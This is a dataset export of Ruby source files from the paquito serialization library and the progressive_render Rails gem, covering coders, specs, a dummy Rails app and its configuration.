repo
stringlengths
5
92
file_url
stringlengths
80
287
file_path
stringlengths
5
197
content
stringlengths
0
32.8k
language
stringclasses
1 value
license
stringclasses
7 values
commit_sha
stringlengths
40
40
retrieved_at
stringdate
2026-01-04 15:37:27
2026-01-04 17:58:21
truncated
bool
2 classes
Shopify/paquito
https://github.com/Shopify/paquito/blob/e462641cf1c8b3554f8749b86c387729fce2cfc4/lib/paquito/translate_errors.rb
lib/paquito/translate_errors.rb
# frozen_string_literal: true module Paquito class TranslateErrors def initialize(coder) @coder = Paquito.cast(coder) end def dump(object) @coder.dump(object) rescue Paquito::Error raise rescue => error raise PackError, error.message end def load(payload) @coder.load(payload) rescue Paquito::Error raise rescue => error raise UnpackError, error.message end end end
ruby
MIT
e462641cf1c8b3554f8749b86c387729fce2cfc4
2026-01-04T17:57:28.878221Z
false
Shopify/paquito
https://github.com/Shopify/paquito/blob/e462641cf1c8b3554f8749b86c387729fce2cfc4/lib/paquito/compressor.rb
lib/paquito/compressor.rb
# frozen_string_literal: true module Paquito class Compressor def initialize(compressor) @compressor = compressor end def dump(serial) @compressor.compress(serial) end def load(payload) @compressor.decompress(payload) end end end
ruby
MIT
e462641cf1c8b3554f8749b86c387729fce2cfc4
2026-01-04T17:57:28.878221Z
false
Shopify/paquito
https://github.com/Shopify/paquito/blob/e462641cf1c8b3554f8749b86c387729fce2cfc4/lib/paquito/types/active_record_packer.rb
lib/paquito/types/active_record_packer.rb
# frozen_string_literal: true require "paquito/errors" require "paquito/active_record_coder" module Paquito module Types class ActiveRecordPacker factory = MessagePack::Factory.new # These are the types available when packing/unpacking ActiveRecord::Base instances. Types.register(factory, [Symbol, Time, DateTime, Date, BigDecimal, ActiveSupport::TimeWithZone]) FACTORY = factory # Raise on any undeclared type factory.register_type( 0x7f, Object, packer: ->(value) { raise PackError.new("undeclared type", value) }, unpacker: ->(*) {}, ) core_types = [String, Integer, TrueClass, FalseClass, NilClass, Float, Array, Hash] ext_types = FACTORY.registered_types.map { |t| t[:class] } VALID_CLASSES = core_types + ext_types def self.dump(value) coded = ActiveRecordCoder.dump(value) FACTORY.dump(coded) rescue NoMethodError, PackError => e raise unless PackError === e || e.name == :to_msgpack class_name = value.class.name receiver_name = e.receiver.class.name error_attrs = coded[1][1].select { |_, attr_value| VALID_CLASSES.exclude?(attr_value.class) } Rails.logger.warn(<<~LOG.squish) [MessagePackCodecTypes] Failed to encode record with ActiveRecordCoder class=#{class_name} error_class=#{receiver_name} error_attrs=#{error_attrs.keys.join(", ")} LOG raise PackError.new("failed to pack ActiveRecord object", e.receiver) end def self.load(value) ActiveRecordCoder.load(FACTORY.load(value)) end end end end
ruby
MIT
e462641cf1c8b3554f8749b86c387729fce2cfc4
2026-01-04T17:57:28.878221Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/spec/rails_helper.rb
spec/rails_helper.rb
require 'spec_helper' # Load rails and the entire gem require 'rails/all' require 'rspec/rails' require 'progressive_render' # Debugging doesn't have to be hard require 'pry-byebug' # Set the application into the test enviornment ENV['RAILS_ENV'] = 'test' # Load the dummy rails app require File.expand_path('../dummy/config/environment', __FILE__)
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/spec/progressive_render_spec.rb
spec/progressive_render_spec.rb
require 'rails_helper' describe ProgressiveRender do it 'has a version number' do expect(ProgressiveRender::VERSION).not_to be nil end end
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/spec/controller_request_spec.rb
spec/controller_request_spec.rb
require 'rails_helper' def load_test_endpoint(endpoint, name: "Testing #{endpoint}", sections: [], assert_preloaded: nil, assert_loaded: nil) describe name do it 'renders the placeholder and can resolve the real partial' do get endpoint expect(response.body).to include('progressive-render-placeholder') main_request_doc = Nokogiri::HTML(response.body) sections.each_with_index do |s, i| section_placeholder_selector = "##{s}_progressive_render" section_content_selector = assert_loaded[i] if assert_loaded section_preloaded_selector = assert_preloaded[i] if assert_preloaded # Extract the new request URL path = main_request_doc.css(section_placeholder_selector)[0]['data-progressive-render-path'] # It hasn't loaded the content expect(main_request_doc.css(section_content_selector)).to be_empty # The preloaded content is in the main response expect(main_request_doc.css(section_preloaded_selector)).to_not be_empty if section_preloaded_selector get path partial_request_doc = Nokogiri::HTML(response.body) # Find the result replacement = partial_request_doc.css(section_content_selector)[0] expect(replacement).to_not be nil # The placeholder is not in the partial request placeholder_content = partial_request_doc.css(section_placeholder_selector)[0] expect(placeholder_content['data-progressive-render-placeholder']).to eql('false') expect(placeholder_content['data-progressive-render-path']).to be_nil # The preloaded content is not in the partial request expect(partial_request_doc.css(section_preloaded_selector)).to be_empty if section_preloaded_selector end end end end # rubocop:disable Metrics/LineLength RSpec.describe LoadTestController, type: :request do # Basic examples load_test_endpoint '/load_test/block', name: 'With a single block', sections: [1], assert_loaded: ['#world'] load_test_endpoint '/load_test/multiple_blocks', name: 'With multiple blocks', sections: [1, 2, 3], assert_loaded: ['#first', '#second', '#third'] load_test_endpoint '/load_test/custom_placeholder', name: 'With a custom placeholder', sections: [1], assert_preloaded: ['#custom_placeholder'], assert_loaded: ['#first'] load_test_endpoint '/load_test/render_params', name: 'With custom render params', sections: [1], assert_preloaded: ['#custom_layout'], assert_loaded: ['#world'] # Deprecated usage load_test_endpoint '/load_test/deprecated_explicit_call', name: 'Deprecated: Explicit call in controller', sections: [1], assert_loaded: ['#world'] load_test_endpoint '/load_test/deprecated_explicit_call_with_template', name: 'Deprecated: Explicit call in controller with template path', sections: [1], assert_loaded: ['#world'] # Specific bugs load_test_endpoint '/load_test/atom_repro', name: 'With an atom format', sections: [1], assert_preloaded: ['#outside'], assert_loaded: ['#inside'] end # rubocop:enable Metrics/LineLength
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/spec/mock_rails_app.rb
spec/mock_rails_app.rb
require 'action_controller/railtie' module MockRailsApp class Application < Rails::Application config.secret_token = '2442e998905e6cdad842eb483e64641a' end class ApplicationController < ActionController::Base end end
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/spec/spec_helper.rb
spec/spec_helper.rb
# # spec_helper: base for testing suite. Should be kept # as light weight as possible. Use rails_helper for # specs that require the kitchen sink. # require 'simplecov' SimpleCov.start $LOAD_PATH.unshift File.expand_path('../../lib', __FILE__) require 'rspec'
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/spec/dummy/app/helpers/load_test_helper.rb
spec/dummy/app/helpers/load_test_helper.rb
module LoadTestHelper end
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/spec/dummy/app/helpers/application_helper.rb
spec/dummy/app/helpers/application_helper.rb
module ApplicationHelper end
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/spec/dummy/app/controllers/load_test_controller.rb
spec/dummy/app/controllers/load_test_controller.rb
class LoadTestController < ApplicationController def example; end def index; end def block; end def multiple_blocks; end def custom_placeholder; end def render_params render layout: 'custom_layout' end def deprecated_explicit_call progressive_render end def deprecated_explicit_call_with_template progressive_render 'block' end def atom_repro respond_to do |format| # https://github.com/johnsonj/progressive_render/issues/19#issuecomment-236450508 # Without this format.js call, rails tries to render the 'atom' format on the progressive_load format.js {} format.atom { raise 'atom' } format.html { render layout: 'custom_layout' } format.rss { raise 'RSS' } end end end
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/spec/dummy/app/controllers/application_controller.rb
spec/dummy/app/controllers/application_controller.rb
class ApplicationController < ActionController::Base # Prevent CSRF attacks by raising an exception. # For APIs, you may want to use :null_session instead. protect_from_forgery with: :exception end
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/spec/dummy/db/seeds.rb
spec/dummy/db/seeds.rb
# This file should contain all the record creation needed to seed the database with its default values. # The data can then be loaded with the rake db:seed (or created alongside the db with db:setup). # # Examples: # # cities = City.create([{ name: 'Chicago' }, { name: 'Copenhagen' }]) # Mayor.create(name: 'Emanuel', city: cities.first)
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/spec/dummy/test/test_helper.rb
spec/dummy/test/test_helper.rb
ENV['RAILS_ENV'] ||= 'test' require File.expand_path('../../config/environment', __FILE__) require 'rails/test_help' module ActiveSupport class TestCase # Setup all fixtures in test/fixtures/*.yml for all tests in alphabetical order. fixtures :all # Add more helper methods to be used by all tests here... end end
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/spec/dummy/test/controllers/load_test_controller_test.rb
spec/dummy/test/controllers/load_test_controller_test.rb
require 'test_helper' class LoadTestControllerTest < ActionController::TestCase # test "the truth" do # assert true # end end
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/spec/dummy/config/application.rb
spec/dummy/config/application.rb
require File.expand_path('../boot', __FILE__) require 'rails/all' # Require the gems listed in Gemfile, including any gems # you've limited to :test, :development, or :production. Bundler.require(*Rails.groups) module Dummy class Application < Rails::Application end end
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/spec/dummy/config/environment.rb
spec/dummy/config/environment.rb
# Load the Rails application. require File.expand_path('../application', __FILE__) # Initialize the Rails application. Rails.application.initialize!
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/spec/dummy/config/routes.rb
spec/dummy/config/routes.rb
Rails.application.routes.draw do root 'load_test#index' scope '/load_test' do %w[block multiple_blocks custom_placeholder example render_params deprecated_explicit_call deprecated_explicit_call_with_template atom_repro].each do |endpoint| get endpoint => "load_test##{endpoint}", as: "load_test_#{endpoint}" end end end
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/spec/dummy/config/boot.rb
spec/dummy/config/boot.rb
ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__) require 'bundler/setup' # Set up gems listed in the Gemfile.
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/spec/dummy/config/initializers/filter_parameter_logging.rb
spec/dummy/config/initializers/filter_parameter_logging.rb
# Be sure to restart your server when you modify this file. # Configure sensitive parameters which will be filtered from the log file. Rails.application.config.filter_parameters += [:password]
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/spec/dummy/config/initializers/session_store.rb
spec/dummy/config/initializers/session_store.rb
# Be sure to restart your server when you modify this file. Rails.application.config.session_store :cookie_store, key: '_test_pl_session'
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/spec/dummy/config/initializers/wrap_parameters.rb
spec/dummy/config/initializers/wrap_parameters.rb
# Be sure to restart your server when you modify this file. # This file contains settings for ActionController::ParamsWrapper which # is enabled by default. # Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array. ActiveSupport.on_load(:action_controller) do wrap_parameters format: [:json] if respond_to?(:wrap_parameters) end # To enable root element in JSON for ActiveRecord objects. # ActiveSupport.on_load(:active_record) do # self.include_root_in_json = true # end
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/spec/dummy/config/initializers/inflections.rb
spec/dummy/config/initializers/inflections.rb
# Be sure to restart your server when you modify this file. # Add new inflection rules using the following format. Inflections # are locale specific, and you may define rules for as many different # locales as you wish. All of these examples are active by default: # ActiveSupport::Inflector.inflections(:en) do |inflect| # inflect.plural /^(ox)$/i, '\1en' # inflect.singular /^(ox)en/i, '\1' # inflect.irregular 'person', 'people' # inflect.uncountable %w( fish sheep ) # end # These inflection rules are supported but not enabled by default: # ActiveSupport::Inflector.inflections(:en) do |inflect| # inflect.acronym 'RESTful' # end
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/spec/dummy/config/initializers/cookies_serializer.rb
spec/dummy/config/initializers/cookies_serializer.rb
# Be sure to restart your server when you modify this file. Rails.application.config.action_dispatch.cookies_serializer = :json
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/spec/dummy/config/initializers/assets.rb
spec/dummy/config/initializers/assets.rb
# Be sure to restart your server when you modify this file. # Version of your assets, change this if you want to expire all your assets. Rails.application.config.assets.version = '1.0' # Add additional assets to the asset load path # Rails.application.config.assets.paths << Emoji.images_path # Precompile additional assets. # application.js, application.css, and all non-JS/CSS in app/assets folder are already added. # Rails.application.config.assets.precompile += %w( search.js )
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/spec/dummy/config/initializers/backtrace_silencers.rb
spec/dummy/config/initializers/backtrace_silencers.rb
# Be sure to restart your server when you modify this file. # You can add backtrace silencers for libraries that you're using but don't wish to see in your backtraces. # Rails.backtrace_cleaner.add_silencer { |line| line =~ /my_noisy_library/ } # You can also remove all the silencers if you're trying to debug a problem that might stem from framework code. # Rails.backtrace_cleaner.remove_silencers!
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/spec/dummy/config/initializers/mime_types.rb
spec/dummy/config/initializers/mime_types.rb
# Be sure to restart your server when you modify this file. # Add new mime types for use in respond_to blocks: # Mime::Type.register "text/richtext", :rtf
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/spec/dummy/config/environments/test.rb
spec/dummy/config/environments/test.rb
Rails.application.configure do # Settings specified here will take precedence over those in config/application.rb. # The test environment is used exclusively to run your application's # test suite. You never need to work with it otherwise. Remember that # your test database is "scratch space" for the test suite and is wiped # and recreated between test runs. Don't rely on the data there! config.cache_classes = true # Do not eager load code on boot. This avoids loading your whole application # just for the purpose of running a single test. If you are using a tool that # preloads Rails for running tests, you may have to set it to true. config.eager_load = false # Show full error reports and disable caching. config.consider_all_requests_local = true config.action_controller.perform_caching = false # Raise exceptions instead of rendering exception templates. config.action_dispatch.show_exceptions = false # Disable request forgery protection in test environment. config.action_controller.allow_forgery_protection = false # Tell Action Mailer not to deliver emails to the real world. # The :test delivery method accumulates sent emails in the # ActionMailer::Base.deliveries array. config.action_mailer.delivery_method = :test # Randomize the order test cases are executed. config.active_support.test_order = :random # Print deprecation notices to the stderr. config.active_support.deprecation = :stderr # Raises error for missing translations # config.action_view.raise_on_missing_translations = true end
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/spec/dummy/config/environments/development.rb
spec/dummy/config/environments/development.rb
Rails.application.configure do # Settings specified here will take precedence over those in config/application.rb. # In the development environment your application's code is reloaded on # every request. This slows down response time but is perfect for development # since you don't have to restart the web server when you make code changes. config.cache_classes = false # Do not eager load code on boot. config.eager_load = false # Show full error reports and disable caching. config.consider_all_requests_local = true config.action_controller.perform_caching = false # Don't care if the mailer can't send. config.action_mailer.raise_delivery_errors = false # Print deprecation notices to the Rails logger. config.active_support.deprecation = :log # Raise an error on page load if there are pending migrations. config.active_record.migration_error = :page_load # Debug mode disables concatenation and preprocessing of assets. # This option may cause significant delays in view rendering with a large # number of complex assets. config.assets.debug = true # Asset digests allow you to set far-future HTTP expiration dates on all assets, # yet still be able to expire them through the digest params. config.assets.digest = true # Adds additional error checking when serving assets at runtime. # Checks for improperly declared sprockets dependencies. # Raises helpful error messages. config.assets.raise_runtime_errors = true # Raises error for missing translations # config.action_view.raise_on_missing_translations = true end
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/spec/dummy/config/environments/production.rb
spec/dummy/config/environments/production.rb
Rails.application.configure do # Settings specified here will take precedence over those in config/application.rb. # Code is not reloaded between requests. config.cache_classes = true # Eager load code on boot. This eager loads most of Rails and # your application in memory, allowing both threaded web servers # and those relying on copy on write to perform better. # Rake tasks automatically ignore this option for performance. config.eager_load = true # Full error reports are disabled and caching is turned on. config.consider_all_requests_local = false config.action_controller.perform_caching = true # Enable Rack::Cache to put a simple HTTP cache in front of your application # Add `rack-cache` to your Gemfile before enabling this. # For large-scale production use, consider using a caching reverse proxy like # NGINX, varnish or squid. # config.action_dispatch.rack_cache = true # Disable serving static files from the `/public` folder by default since # Apache or NGINX already handles this. config.serve_static_files = ENV['RAILS_SERVE_STATIC_FILES'].present? # Compress JavaScripts and CSS. config.assets.js_compressor = :uglifier # config.assets.css_compressor = :sass # Do not fallback to assets pipeline if a precompiled asset is missed. config.assets.compile = false # Asset digests allow you to set far-future HTTP expiration dates on all assets, # yet still be able to expire them through the digest params. config.assets.digest = true # `config.assets.precompile` and `config.assets.version` have moved to config/initializers/assets.rb # Specifies the header that your server uses for sending files. # config.action_dispatch.x_sendfile_header = 'X-Sendfile' # for Apache # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for NGINX # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies. # config.force_ssl = true # Use the lowest log level to ensure availability of diagnostic information # when problems arise. config.log_level = :debug # Prepend all log lines with the following tags. # config.log_tags = [ :subdomain, :uuid ] # Use a different logger for distributed setups. # config.logger = ActiveSupport::TaggedLogging.new(SyslogLogger.new) # Use a different cache store in production. # config.cache_store = :mem_cache_store # Enable serving of images, stylesheets, and JavaScripts from an asset server. # config.action_controller.asset_host = 'http://assets.example.com' # Ignore bad email addresses and do not raise email delivery errors. # Set this to true and configure the email server for immediate delivery to raise delivery errors. # config.action_mailer.raise_delivery_errors = false # Enable locale fallbacks for I18n (makes lookups for any locale fall back to # the I18n.default_locale when a translation cannot be found). config.i18n.fallbacks = true # Send deprecation notices to registered listeners. config.active_support.deprecation = :notify # Use default logging formatter so that PID and timestamp are not suppressed. config.log_formatter = ::Logger::Formatter.new # Do not dump schema after migrations. config.active_record.dump_schema_after_migration = false end
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/spec/lib/fragment_name_iterator_spec.rb
spec/lib/fragment_name_iterator_spec.rb
require 'spec_helper' require 'progressive_render/fragment_name_iterator' describe ProgressiveRender::FragmentNameIterator do let(:iter) { ProgressiveRender::FragmentNameIterator.new } it 'produces new values' do expect(iter.next!).to_not be iter.next! end describe 'with multiple iterators' do let(:iter1) { ProgressiveRender::FragmentNameIterator.new } let(:iter2) { ProgressiveRender::FragmentNameIterator.new } it 'produces equal values' do 10.times do expect(iter1.next!).to eq(iter2.next!) end end end end
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/spec/lib/rack/request_handler_spec.rb
spec/lib/rack/request_handler_spec.rb
require 'progressive_render/rack/request_handler' FRAGMENT_KEY = ProgressiveRender::Rack::RequestHandler::FRAGMENT_KEY describe ProgressiveRender::Rack::RequestHandler do it 'can parse the main load' do req = double allow(req).to receive(:GET).and_return({}) allow(req).to receive(:path).and_return('/foo') rh = ProgressiveRender::Rack::RequestHandler.new(req) expect(rh.main_load?).to eq(true) expect(rh.should_render_fragment?('foo')).to eq(false) expect(rh.fragment_name).to eq(nil) expect(rh.load_path('bar')).to eq("/foo?#{FRAGMENT_KEY}=bar") end it 'can parse the name of a partial on progressive load' do req = double allow(req).to receive(:GET).and_return(FRAGMENT_KEY.to_s => 'my_partial') allow(req).to receive(:path).and_return('/bar/baz') rh = ProgressiveRender::Rack::RequestHandler.new(req) expect(rh.main_load?).to eq(false) expect(rh.fragment_name).to eq('my_partial') expect(rh.should_render_fragment?('foo')).to eq(false) expect(rh.should_render_fragment?('my_partial')).to eq(true) expect(rh.load_path('bar')).to eq(nil) end it 'does not modify the request object' do get_request = {} get_clone = get_request.clone req = double allow(req).to receive(:GET).and_return(get_request) allow(req).to receive(:path).and_return('/bar/baz') rh = ProgressiveRender::Rack::RequestHandler.new(req) rh.load_path('bar') expect(get_request[FRAGMENT_KEY]).to be_nil expect(get_request).to eq(get_request) expect(get_clone).to eq(get_request) end it 'handles nested params' do get_request = { foo: { bar: 'baz' } } req = double allow(req).to receive(:GET).and_return(get_request) allow(req).to receive(:path).and_return('/endpoint') rh = ProgressiveRender::Rack::RequestHandler.new(req) expect(rh.load_path('bar')).to eq("/endpoint?foo[bar]=baz&#{FRAGMENT_KEY}=bar") end end
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/spec/lib/rails/view_renderer_spec.rb
spec/lib/rails/view_renderer_spec.rb
require 'spec_helper' require 'progressive_render/rails/view_renderer' describe ProgressiveRender::Rails::ViewRenderer do specify '#render_partial' do context = double allow(context).to receive(:render).and_return(true) vr = ProgressiveRender::Rails::ViewRenderer.new(context) expect(vr.render_partial('')).to eq(true) end specify '#render_view' do context = double allow(context).to receive(:render).and_return(true) vr = ProgressiveRender::Rails::ViewRenderer.new(context) expect(vr.render_view('')).to eq(true) end specify '#render_fragment' do context = double body = '<div id="example_progressive_render">Hello World</div>' allow(context).to receive(:render_to_string).and_return("<html><body><h1>Hey Now</h1>#{body}</body></html>") allow(context).to receive(:render) vr = ProgressiveRender::Rails::ViewRenderer.new(context) vr.render_fragment('', 'example') expect(context).to have_received(:render).with(plain: body) end end
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/spec/lib/rails/path_resolver_spec.rb
spec/lib/rails/path_resolver_spec.rb
require 'progressive_render/rails/path_resolver' describe ProgressiveRender::Rails::PathResolver do describe 'with an empty template context' do it 'throws when resolving paths' do pr = ProgressiveRender::Rails::PathResolver.new(nil) expect { pr.path_for }.to raise_error(ProgressiveRender::Rails::PathResolver::InvalidTemplateContextException) end end describe 'with a controller context' do let(:tc) { ProgressiveRender::Rails::PathResolver::TemplateContext.new } before do tc.type = :controller tc.controller = 'Foo' tc.action = 'index' end let(:pr) { ProgressiveRender::Rails::PathResolver.new(tc) } it 'resolves the default view' do expect(pr.path_for).to eq('foo/index') end it 'resolves a view within the controller' do expect(pr.path_for('action')).to eq('foo/action') end end describe 'with a view context' do let(:tc) { ProgressiveRender::Rails::PathResolver::TemplateContext.new } before do tc.type = :view tc.controller = 'Foo' tc.action = 'index' end let(:pr) { ProgressiveRender::Rails::PathResolver.new(tc) } it 'does not allow default view' do expect { pr.path_for }.to raise_error(ProgressiveRender::Rails::PathResolver::InvalidPathException) end it 'resolves a partial within the view' do expect(pr.path_for('partial')).to eq('foo/partial') end end end
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/lib/progressive_render.rb
lib/progressive_render.rb
require 'progressive_render/rack' require 'progressive_render/fragment_name_iterator' # Root namespace for the gem module ProgressiveRender if defined?(::Rails) && Gem::Requirement.new('>= 3.1').satisfied_by?(Gem::Version.new(::Rails.version)) require 'progressive_render/rails' else logger.warn 'progressive_render gem has not been installed due to missing dependencies' end end
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/lib/progressive_render/version.rb
lib/progressive_render/version.rb
module ProgressiveRender VERSION = '0.7.0'.freeze end
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/lib/progressive_render/rails.rb
lib/progressive_render/rails.rb
require 'progressive_render/rails/path_resolver' require 'progressive_render/rails/view_renderer' require 'progressive_render/rails/engine' require 'progressive_render/rails/helpers' require 'progressive_render/rails/view' require 'progressive_render/rails/controller' module ProgressiveRender # Rails specific functionality module Rails end end
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/lib/progressive_render/rack.rb
lib/progressive_render/rack.rb
require 'progressive_render/rack/request_handler' module ProgressiveRender # Rack specific functionality module Rack end end
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/lib/progressive_render/fragment_name_iterator.rb
lib/progressive_render/fragment_name_iterator.rb
module ProgressiveRender # Generates a prefix for a given progressive_render section in a stable manner. # This way on each load we assign the outer most progressive_render block with # the same name. Nested progressive_render blocks are not supported, this approach # may need to be re-evaluated for that use case. class FragmentNameIterator def initialize @current = 0 end def next! @current += 1 @current.to_s end end end
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/lib/progressive_render/rack/request_handler.rb
lib/progressive_render/rack/request_handler.rb
